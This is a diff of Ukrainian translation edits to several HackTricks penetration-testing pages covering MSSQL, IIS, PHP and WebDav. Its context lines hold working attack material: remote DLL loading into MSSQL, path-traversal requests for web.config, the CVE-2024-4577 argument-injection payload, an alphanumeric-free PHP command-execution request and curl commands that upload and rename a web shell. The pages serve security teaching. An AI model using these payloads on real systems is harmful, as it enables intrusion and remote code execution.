Для **більше прикладів** перегляньте [**оригінальне джерело**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||
|
||||
### RCE з MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
### RCE з MSSQL Користувацькою Функцією - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Можливо **завантажити .NET dll в MSSQL з користувацькими функціями**. Однак це **вимагає доступу `dbo`**, тому вам потрібне з'єднання з базою даних **як `sa` або з роллю адміністратора**.
|
||||
Можливо **завантажити .NET dll в MSSQL з користувацькими функціями**. Однак це **вимагає доступу `dbo`**, тому вам потрібне з'єднання з базою даних **як `sa` або з роллю Адміністратора**.
|
||||
|
||||
[**Перейдіть за цим посиланням**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp), щоб побачити приклад.
|
||||
|
||||
### RCE з `autoadmin_task_agents`
|
||||
|
||||
Згідно[ **з цим постом**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), також можливо завантажити віддалений dll і змусити MSSQL виконати його за допомогою чогось на зразок:
|
||||
Згідно[ **з цим постом**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), також можливо завантажити віддалений dll і змусити MSSQL виконати його за допомогою чогось на кшталт:
|
||||
```sql
|
||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||
```
|
||||
@ -484,7 +484,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
|
||||
```
|
||||
### Імітація інших користувачів
|
||||
|
||||
SQL Server має спеціальний дозвіл, названий **`IMPERSONATE`**, який **дозволяє виконуючому користувачу приймати права іншого користувача** або входу, поки контекст не буде скинуто або сесія не закінчиться.
|
||||
SQL Server має спеціальний дозвіл, названий **`IMPERSONATE`**, який **дозволяє виконуючому користувачу приймати на себе дозволи іншого користувача** або входу, поки контекст не буде скинуто або сесія не закінчиться.
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
@ -521,7 +521,7 @@ REVERT
|
||||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
або за допомогою **PS** скрипта:
|
||||
або з **PS** скриптом:
|
||||
```powershell
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
@ -529,13 +529,15 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
```
|
||||
## Використання MSSQL для постійності
|
||||
|
||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## Витягування паролів з SQL Server Linked Servers
|
||||
|
||||
Зловмисник може витягнути паролі SQL Server Linked Servers з SQL Instances і отримати їх у відкритому вигляді, надаючи зловмиснику паролі, які можна використовувати для отримання більшого контролю над ціллю. Скрипт для витягування та дешифрування паролів, збережених для Linked Servers, можна знайти [тут](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
Зловмисник може витягнути паролі SQL Server Linked Servers з SQL Instances і отримати їх у відкритому тексті, надаючи зловмиснику паролі, які можна використовувати для отримання більшого контролю над ціллю. Скрипт для витягування та дешифрування паролів, збережених для Linked Servers, можна знайти [тут](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Для того, щоб цей експлойт працював, необхідно виконати деякі вимоги та налаштування. По-перше, ви повинні мати права адміністратора на машині або можливість керувати конфігураціями SQL Server.
|
||||
Необхідно виконати деякі вимоги та налаштування, щоб цей експлойт працював. По-перше, ви повинні мати права адміністратора на машині або можливість керувати конфігураціями SQL Server.
|
||||
|
||||
Після перевірки ваших прав, вам потрібно налаштувати три речі, а саме:
|
||||
Після перевірки ваших прав вам потрібно налаштувати три речі, а саме:
|
||||
|
||||
1. Увімкнути TCP/IP на екземплярах SQL Server;
|
||||
2. Додати параметр запуску, в даному випадку буде додано прапор трасування -T7806.
|
||||
@ -550,7 +552,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
## Підвищення локальних привілеїв
|
||||
|
||||
Користувач, що запускає сервер MSSQL, матиме увімкнений привілейний токен **SeImpersonatePrivilege.**\
|
||||
Ви, напевно, зможете **підвищити привілеї до адміністратора**, слідуючи одному з цих 2-х посилань:
|
||||
Ви, ймовірно, зможете **підвищити привілеї до адміністратора**, слідуючи одному з цих 2-х посилань:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
||||
|
||||
@ -56,14 +56,14 @@ iisfinal.txt
|
||||
|
||||
### Витік вихідного коду
|
||||
|
||||
Перегляньте повний опис на: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
Перевірте повний опис у: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
> [!NOTE]
|
||||
> Як підсумок, існує кілька web.config файлів всередині папок програми з посиланнями на "**assemblyIdentity**" файли та "**namespaces**". З цією інформацією можна дізнатися **де розташовані виконувані файли** та завантажити їх.\
|
||||
> З **завантажених Dlls** також можна знайти **нові простори імен**, до яких слід спробувати отримати доступ і отримати файл web.config, щоб знайти нові простори імен та assemblyIdentity.\
|
||||
> Також файли **connectionstrings.config** та **global.asax** можуть містити цікаву інформацію.\\
|
||||
> Як підсумок, існує кілька web.config файлів всередині папок програми з посиланнями на "**assemblyIdentity**" файли та "**namespaces**". З цією інформацією можливо дізнатися **де розташовані виконувані файли** та завантажити їх.\
|
||||
> З **завантажених Dlls** також можливо знайти **нові простори імен**, до яких слід спробувати отримати доступ і отримати web.config файл, щоб знайти нові простори імен та assemblyIdentity.\
|
||||
> Також файли **connectionstrings.config** та **global.asax** можуть містити цікаву інформацію.
|
||||
|
||||
У **.Net MVC додатках** файл **web.config** відіграє важливу роль, вказуючи на кожен бінарний файл, на який покладається програма, через XML теги **"assemblyIdentity"**.
|
||||
У **.Net MVC додатках** файл **web.config** відіграє важливу роль, вказуючи на кожен бінарний файл, на який покладається програма через XML теги **"assemblyIdentity"**.
|
||||
|
||||
### **Дослідження бінарних файлів**
|
||||
|
||||
@ -88,7 +88,7 @@ Host: example-mvc-application.minded
|
||||
|
||||
### **Простори імен та Web.Config**
|
||||
|
||||
Додатки MVC також визначають додаткові **web.config файли** для специфічних просторів імен, щоб уникнути повторюваних декларацій у кожному файлі, як це демонструється запитом на завантаження іншого **web.config**:
|
||||
Додатки MVC також визначають додаткові **web.config файли** для специфічних просторів імен, щоб уникнути повторюваних декларацій у кожному файлі, як це продемонстровано з запитом на завантаження іншого **web.config**:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
@ -102,7 +102,7 @@ Host: example-mvc-application.minded
|
||||
```
|
||||
Це вказує на наявність інших важливих DLL, таких як **System.Web.Mvc.dll** та **System.Web.Optimization.dll**, у каталозі /bin.
|
||||
|
||||
У сценарії, коли DLL імпортує простір імен під назвою **WebApplication1.Areas.Minded**, зловмисник може зробити висновок про існування інших файлів web.config у передбачуваних шляхах, таких як **/area-name/Views/**, що містять специфічні конфігурації та посилання на інші DLL у папці /bin. Наприклад, запит до **/Minded/Views/web.config** може виявити конфігурації та простори імен, які вказують на наявність іншої DLL, **WebApplication1.AdditionalFeatures.dll**.
|
||||
У сценарії, коли DLL імпортує простір імен під назвою **WebApplication1.Areas.Minded**, зловмисник може припустити наявність інших файлів web.config у передбачуваних шляхах, таких як **/area-name/Views/**, що містять специфічні конфігурації та посилання на інші DLL у папці /bin. Наприклад, запит до **/Minded/Views/web.config** може виявити конфігурації та простори імен, які вказують на наявність іншої DLL, **WebApplication1.AdditionalFeatures.dll**.
|
||||
|
||||
### Загальні файли
|
||||
|
||||
@ -236,7 +236,7 @@ ASPXAUTH використовує таку інформацію:
|
||||
- **`decryptionIV`** (рядок): шістнадцятковий ініціалізаційний вектор (за замовчуванням вектор нулів).
|
||||
- **`decryptionKey`** (рядок): шістнадцятковий ключ для використання для розшифрування.
|
||||
|
||||
Однак деякі люди використовують **значення за замовчуванням** цих параметрів і використовують як **куку електронну пошту користувача**. Тому, якщо ви зможете знайти веб-сайт, що використовує **ту ж платформу**, яка використовує куку ASPXAUTH, і ви **створите користувача з електронною поштою користувача, якого ви хочете видати** на сервері під атакою, ви зможете **використати куку з другого сервера на першому** та видати себе за користувача.\
|
||||
Однак деякі люди використовують **значення за замовчуванням** цих параметрів і використовують як **куку електронну пошту користувача**. Тому, якщо ви зможете знайти веб-сайт, що використовує **ту ж платформу**, яка використовує куку ASPXAUTH, і ви **створите користувача з електронною поштою користувача, якого хочете видати** на сервері під атакою, ви зможете **використати куку з другого сервера на першому** і видати себе за користувача.\
|
||||
Цей напад спрацював у цьому [**описі**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## Обхід аутентифікації IIS з кешованими паролями (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cookies common location:
|
||||
## Загальне місцезнаходження куків:
|
||||
|
||||
Це також стосується куків phpMyAdmin.
|
||||
|
||||
@ -20,7 +20,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
```
|
||||
## Обхід порівнянь PHP
|
||||
|
||||
### Слабкі порівняння/Типове перетворення ( == )
|
||||
### Слабкі порівняння/Перетворення типів ( == )
|
||||
|
||||
Якщо в PHP використовується `==`, то є несподівані випадки, коли порівняння не веде себе так, як очікується. Це пов'язано з тим, що "==" порівнює лише значення, перетворені в один і той же тип, якщо ви також хочете порівняти, що тип порівнюваних даних однаковий, вам потрібно використовувати `===`.
|
||||
|
||||
@ -33,9 +33,9 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
- `"string" == 0 -> True` Рядок, який не починається з числа, дорівнює числу
|
||||
- `"0xAAAA" == "43690" -> True` Рядки, що складаються з чисел у десятковому або шістнадцятковому форматі, можуть порівнюватися з іншими числами/рядками з результатом True, якщо числа були однаковими (числа в рядку інтерпретуються як числа)
|
||||
- `"0e3264578" == 0 --> True` Рядок, що починається з "0e" і далі будь-яким вмістом, буде дорівнювати 0
|
||||
- `"0X3264578" == 0X --> True` Рядок, що починається з "0" і далі будь-якою літерою (X може бути будь-якою літерою) і далі будь-яким вмістом, буде дорівнювати 0
|
||||
- `"0xAAAA" == "43690" -> True` Рядки, що складаються з чисел у десятковому або шістнадцятковому форматі, можуть бути порівняні з іншими числами/рядками з результатом True, якщо числа були однаковими (числа в рядку інтерпретуються як числа)
|
||||
- `"0e3264578" == 0 --> True` Рядок, що починається з "0e" і за яким слідує будь-що, буде дорівнювати 0
|
||||
- `"0X3264578" == 0X --> True` Рядок, що починається з "0" і за яким слідує будь-яка літера (X може бути будь-якою літерою) і за яким слідує будь-що, буде дорівнювати 0
|
||||
- `"0e12334" == "0" --> True` Це дуже цікаво, оскільки в деяких випадках ви можете контролювати вхідний рядок "0" і деякий вміст, який хешується і порівнюється з ним. Тому, якщо ви можете надати значення, яке створить хеш, що починається з "0e" і без будь-якої літери, ви могли б обійти порівняння. Ви можете знайти **вже захешовані рядки** з цим форматом тут: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` Будь-яка літера в рядку дорівнює int 0
|
||||
|
||||
@ -43,7 +43,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
|
||||
### **in_array()**
|
||||
|
||||
**Типове перетворення** також впливає на функцію `in_array()` за замовчуванням (вам потрібно встановити третій аргумент в true, щоб зробити строгий порівняння):
|
||||
**Перетворення типів** також впливає на функцію `in_array()` за замовчуванням (вам потрібно встановити третій аргумент в true, щоб зробити строгий порівняння):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
@ -74,7 +74,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||
|
||||
#### Обхід нового рядка
|
||||
|
||||
Однак, при обмеженні початку регулярного виразу `preg_match()` **перевіряє лише перший рядок введення користувача**, тому, якщо ви зможете **надіслати** введення в **кількох рядках**, ви зможете обійти цю перевірку. Приклад:
|
||||
Однак, при обмеженні початку регулярного виразу `preg_match()` **перевіряє лише перший рядок введення користувача**, тому, якщо якимось чином ви зможете **надіслати** введення в **кількох рядках**, ви зможете обійти цю перевірку. Приклад:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
Щоб обійти цю перевірку, ви можете **надіслати значення з новими рядками, закодованими в URL** (`%0A`), або якщо ви можете надіслати **JSON-дані**, надішліть їх у **кількох рядках**:
|
||||
Щоб обійти цю перевірку, ви можете **надіслати значення з новими рядками, закодованими в URL** (`%0A`), або якщо ви можете надіслати **дані JSON**, надішліть їх у **кількох рядках**:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
@ -104,15 +104,15 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
Від: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
|
||||
|
||||
#### ReDoS Bypass
|
||||
#### Обхід ReDoS
|
||||
|
||||
Трюк з: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) та [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
||||
|
||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Коротко кажучи, проблема виникає через те, що функції `preg_*` у PHP базуються на [PCRE бібліотеці](http://www.pcre.org/). У PCRE певні регулярні вирази співпадають, використовуючи багато рекурсивних викликів, що займає багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження [за замовчуванням становить 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), що більше, ніж вміщується в стек.
|
||||
Коротко кажучи, проблема виникає через те, що функції `preg_*` у PHP базуються на [бібліотеці PCRE](http://www.pcre.org/). У PCRE певні регулярні вирази співпадають, використовуючи багато рекурсивних викликів, що займає багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження [за замовчуванням становить 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), що більше, ніж вміщується в стек.
|
||||
|
||||
[Ця тема на Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) також була згадана в пості, де детальніше обговорюється ця проблема. Наше завдання стало зрозумілим:\
|
||||
[Ця тема на Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) також була згадана в пості, де більш детально обговорюється ця проблема. Наше завдання стало зрозумілим:\
|
||||
**Надіслати вхідні дані, які змусили б regex виконати 100_000+ рекурсій, викликавши SIGSEGV, змусивши функцію `preg_match()` повернути `false`, таким чином змусивши додаток думати, що наш вхід не є шкідливим, підкидаючи сюрприз в кінці корисного навантаження щось на кшталт `{system(<verybadcommand>)}` для отримання SSTI --> RCE --> flag :)**.
|
||||
|
||||
Отже, в термінах regex, ми насправді не виконуємо 100k "рекурсій", а замість цього рахуємо "кроки назад", які, як зазначає [документація PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), за замовчуванням становлять 1_000_000 (1M) у змінній `pcre.backtrack_limit`.\
|
||||
@ -120,7 +120,7 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
### Перетворення типів для обфускації PHP
|
||||
### Типове перетворення для обфускації PHP
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
$obfs++; //int 2
|
||||
@ -133,7 +133,7 @@ $obfs += ""; //int 7
|
||||
```
|
||||
## Execute After Redirect (EAR)
|
||||
|
||||
Якщо PHP перенаправляє на іншу сторінку, але жодна функція **`die`** або **`exit`** не **викликається після того, як заголовок `Location`** встановлено, PHP продовжує виконання та додає дані до тіла:
|
||||
Якщо PHP перенаправляє на іншу сторінку, але жодна функція **`die`** або **`exit`** не **викликається після встановлення заголовка `Location`**, PHP продовжує виконання та додає дані до тіла:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
@ -153,7 +153,7 @@ Check:
|
||||
|
||||
## More tricks
|
||||
|
||||
- **register_globals**: У **PHP < 4.1.1.1** або якщо неправильно налаштовано, **register_globals** може бути активним (або їх поведінка імітується). Це означає, що в глобальних змінних, таких як $\_GET, якщо вони мають значення, наприклад, $\_GET\["param"]="1234", ви можете отримати доступ до них через **$param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні\*\*, які використовуються в коді.
|
||||
- **register_globals**: У **PHP < 4.1.1.1** або якщо неправильно налаштовано, **register_globals** може бути активним (або їх поведінка імітується). Це означає, що в глобальних змінних, таких як $\_GET, якщо вони мають значення, наприклад, $\_GET\["param"]="1234", ви можете отримати доступ до нього через **$param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні\*\* які використовуються в коді.
|
||||
- **PHPSESSION cookies одного домену зберігаються в одному місці**, тому якщо в межах домену **використовуються різні cookies в різних шляхах**, ви можете зробити так, щоб шлях **отримував доступ до cookie іншого шляху**, встановивши значення cookie іншого шляху.\
|
||||
Таким чином, якщо **обидва шляхи отримують доступ до змінної з однаковим ім'ям**, ви можете зробити так, щоб **значення цієї змінної в path1 застосовувалося до path2**. І тоді path2 вважатиме змінні path1 дійсними (надаючи cookie ім'я, яке відповідає йому в path2).
|
||||
- Коли у вас є **імена користувачів** користувачів машини. Перевірте адресу: **/\~\<USERNAME>**, щоб дізнатися, чи активовані php каталоги.
|
||||
@ -162,7 +162,7 @@ Check:
|
||||
### password_hash/password_verify
|
||||
|
||||
Ці функції зазвичай використовуються в PHP для **генерації хешів з паролів** та для **перевірки**, чи є пароль правильним у порівнянні з хешем.\
|
||||
Підтримувані алгоритми: `PASSWORD_DEFAULT` та `PASSWORD_BCRYPT` (починається з `$2y$`). Зверніть увагу, що **PASSWORD_DEFAULT часто є тим самим, що і PASSWORD_BCRYPT.** І наразі **PASSWORD_BCRYPT** має **обмеження на розмір вхідних даних у 72 байти**. Тому, коли ви намагаєтеся захешувати щось більше ніж 72 байти за допомогою цього алгоритму, буде використано лише перші 72B:
|
||||
Підтримувані алгоритми: `PASSWORD_DEFAULT` та `PASSWORD_BCRYPT` (починається з `$2y$`). Зверніть увагу, що **PASSWORD_DEFAULT часто є тим самим, що і PASSWORD_BCRYPT.** І наразі **PASSWORD_BCRYPT** має **обмеження за розміром на вхідні дані в 72 байти**. Тому, коли ви намагаєтеся захешувати щось більше ніж 72 байти за допомогою цього алгоритму, буде використано лише перші 72B:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
@ -174,7 +174,7 @@ True
|
||||
|
||||
#### Виклик помилки після встановлення заголовків
|
||||
|
||||
З [**цього треду в твіттері**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) ви можете побачити, що надсилання більше 1000 GET параметрів або 1000 POST параметрів або 20 файлів, PHOP не буде встановлювати заголовки у відповіді.
|
||||
З [**цього треду в твіттері**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) ви можете побачити, що надсилаючи більше ніж 1000 GET параметрів або 1000 POST параметрів або 20 файлів, PHOP не буде встановлювати заголовки у відповіді.
|
||||
|
||||
Це дозволяє обійти, наприклад, заголовки CSP, які встановлюються в кодах, таких як:
|
||||
```php
|
||||
@ -184,7 +184,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||
```
|
||||
#### Заповнення тіла перед встановленням заголовків
|
||||
|
||||
Якщо **PHP-сторінка виводить помилки та відображає деякі дані, надані користувачем**, користувач може змусити PHP-сервер вивести деякий **контент, достатньо великий**, щоб коли він намагатиметься **додати заголовки** до відповіді, сервер видасть помилку.\
|
||||
Якщо **PHP-сторінка виводить помилки та відображає деякі дані, надані користувачем**, користувач може змусити PHP-сервер вивести деякий **контент, достатньо великий**, щоб, коли він намагатиметься **додати заголовки** до відповіді, сервер видасть помилку.\
|
||||
У наступному сценарії **зловмисник змусив сервер вивести великі помилки**, і, як ви можете бачити на екрані, коли PHP намагався **змінити інформацію заголовка, він не зміг** (тому, наприклад, заголовок CSP не був надісланий користувачу):
|
||||
|
||||
.png>)
|
||||
@ -200,7 +200,7 @@ php-ssrf.md
|
||||
## Виконання коду
|
||||
|
||||
**system("ls");**\
|
||||
&#xNAN;**\`ls\`;**\
|
||||
**\`ls\`;**\
|
||||
**shell_exec("ls");**
|
||||
|
||||
[Перевірте це для більш корисних функцій PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
||||
@ -236,7 +236,7 @@ preg_replace("/a/e","phpinfo()","whatever")
|
||||
|
||||
### **RCE через usort()**
|
||||
|
||||
Ця функція використовується для сортування масиву елементів за допомогою специфічної функції.\
|
||||
Ця функція використовується для сортування масиву елементів за допомогою конкретної функції.\
|
||||
Щоб зловживати цією функцією:
|
||||
```php
|
||||
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
||||
@ -290,11 +290,11 @@ usort();}phpinfo;#, "cmp");
|
||||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
Веб-сервер обробляє HTTP запити та передає їх PHP скрипту, виконуючи запит, наприклад, [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) як `php.exe cgi.php foo=bar`, що дозволяє ін'єкцію параметрів. Це дозволить ін'єктувати наступні параметри для завантаження PHP коду з тіла:
|
||||
Веб-сервер обробляє HTTP запити і передає їх PHP скрипту, виконуючи запит, наприклад, [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) як `php.exe cgi.php foo=bar`, що дозволяє ін'єкцію параметрів. Це дозволить ін'єктувати наступні параметри для завантаження PHP коду з тіла:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
Більше того, можливо інжектувати параметр "-" за допомогою символу 0xAD через подальшу нормалізацію PHP. Перевірте приклад експлуатації з [**цього посту**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
Крім того, можливо ввести параметр "-" за допомогою символу 0xAD через подальшу нормалізацію PHP. Перевірте приклад експлуатації з [**цього посту**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
@ -326,15 +326,15 @@ $_COOKIE | if #This mea
|
||||
```
|
||||
Якщо ви налагоджуєте PHP-додаток, ви можете глобально увімкнути виведення помилок у `/etc/php5/apache2/php.ini`, додавши `display_errors = On`, і перезапустити apache: `sudo systemctl restart apache2`
|
||||
|
||||
### Деобфускація PHP коду
|
||||
### Деобфускація PHP-коду
|
||||
|
||||
Ви можете використовувати **web**[ **www.unphp.net**](http://www.unphp.net) **для деобфускації php коду.**
|
||||
Ви можете використовувати **web**[ **www.unphp.net**](http://www.unphp.net) **для деобфускації php-коду.**
|
||||
|
||||
## PHP обгортки та протоколи
|
||||
|
||||
PHP обгортки та протоколи можуть дозволити вам **обійти захист на запис і читання** в системі та скомпрометувати її. Для [**додаткової інформації перегляньте цю сторінку**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug неавтентифікований RCE
|
||||
## Xdebug неавторизований RCE
|
||||
|
||||
Якщо ви бачите, що **Xdebug** увімкнено в `phpconfig()` виводі, вам слід спробувати отримати RCE через [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
|
||||
@ -382,7 +382,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
Отже, якщо ви можете **виконувати довільний PHP без цифр і літер**, ви можете надіслати запит, як наведено нижче, зловживаючи цим корисним навантаженням для виконання довільного PHP:
|
||||
Отже, якщо ви можете **виконувати довільний PHP без цифр і літер**, ви можете надіслати запит, подібний до наступного, зловживаючи цим корисним навантаженням для виконання довільного PHP:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Коли ви маєте справу з **HTTP сервером з увімкненим WebDav**, можливо **маніпулювати файлами**, якщо у вас є правильні **облікові дані**, які зазвичай перевіряються через **HTTP Basic Authentication**. Отримання контролю над таким сервером часто передбачає **завантаження та виконання веб-шелу**.
|
||||
Коли ви маєте справу з **HTTP сервером з увімкненим WebDav**, можливо **маніпулювати файлами**, якщо у вас є правильні **облікові дані**, які зазвичай перевіряються через **HTTP Basic Authentication**. Отримання контролю над таким сервером часто передбачає **завантаження та виконання веб-оболонки**.
|
||||
|
||||
Доступ до сервера WebDav зазвичай вимагає **дійсних облікових даних**, при цьому [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) є поширеним методом їх отримання.
|
||||
|
||||
Щоб обійти обмеження на завантаження файлів, особливо ті, що заважають виконанню серверних скриптів, ви можете:
|
||||
Щоб обійти обмеження на завантаження файлів, особливо ті, що заважають виконанню скриптів на стороні сервера, ви можете:
|
||||
|
||||
- **Завантажити** файли з **виконуваними розширеннями** безпосередньо, якщо це не обмежено.
|
||||
- **Перейменувати** завантажені невиконувані файли (наприклад, .txt) на виконуване розширення.
|
||||
@ -37,18 +37,18 @@ curl -T 'shell.txt' 'http://$ip'
|
||||
```bash
|
||||
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
||||
```
|
||||
## IIS5/6 WebDav Вразливість
|
||||
## IIS5/6 WebDav Vulnerability
|
||||
|
||||
Ця вразливість дуже цікава. **WebDav** **не дозволяє** **завантажувати** або **перейменовувати** файли з розширенням **.asp**. Але ви можете **обійти** це, **додавши** в кінець назви **";.txt"**, і файл буде **виконуватись** так, ніби це .asp файл (ви також можете **використати ".html" замість ".txt"**, але **НЕ забувайте про ";"**).
|
||||
Ця вразливість є дуже цікавою. **WebDav** **не дозволяє** **завантажувати** або **перейменовувати** файли з розширенням **.asp**. Але ви можете **обійти** це, **додавши** в кінець назви **";.txt"**, і файл буде **виконуватись** так, ніби це файл .asp (ви також можете **використати ".html" замість ".txt"**, але **НЕ забувайте про ";"**).
|
||||
|
||||
Тоді ви можете **завантажити** свою оболонку як ".**txt" файл** і **скопіювати/перемістити її в файл ".asp;.txt"**. Доступ до цього файлу через веб-сервер призведе до його **виконання** (cadaver скаже, що дія переміщення не спрацювала, але це так).
|
||||
Тоді ви можете **завантажити** свою оболонку як файл ".**txt"** і **скопіювати/перемістити його в файл ".asp;.txt"**. Доступаючи до цього файлу через веб-сервер, він буде **виконуватись** (cadaver скаже, що дія переміщення не спрацювала, але це так).
|
||||
|
||||
.png>)
|
||||
|
||||
## Пост-креденціали
|
||||
## Post credentials
|
||||
|
||||
Якщо Webdav використовував сервер Apache, вам слід переглянути налаштовані сайти в Apache. Зазвичай:\
|
||||
\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_
|
||||
\_**/etc/apache2/sites-enabled/000-default**_
|
||||
|
||||
Всередині ви можете знайти щось на зразок:
|
||||
```
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
|
||||
### Заповнення форми за допомогою Drag\&Drop
|
||||
|
||||
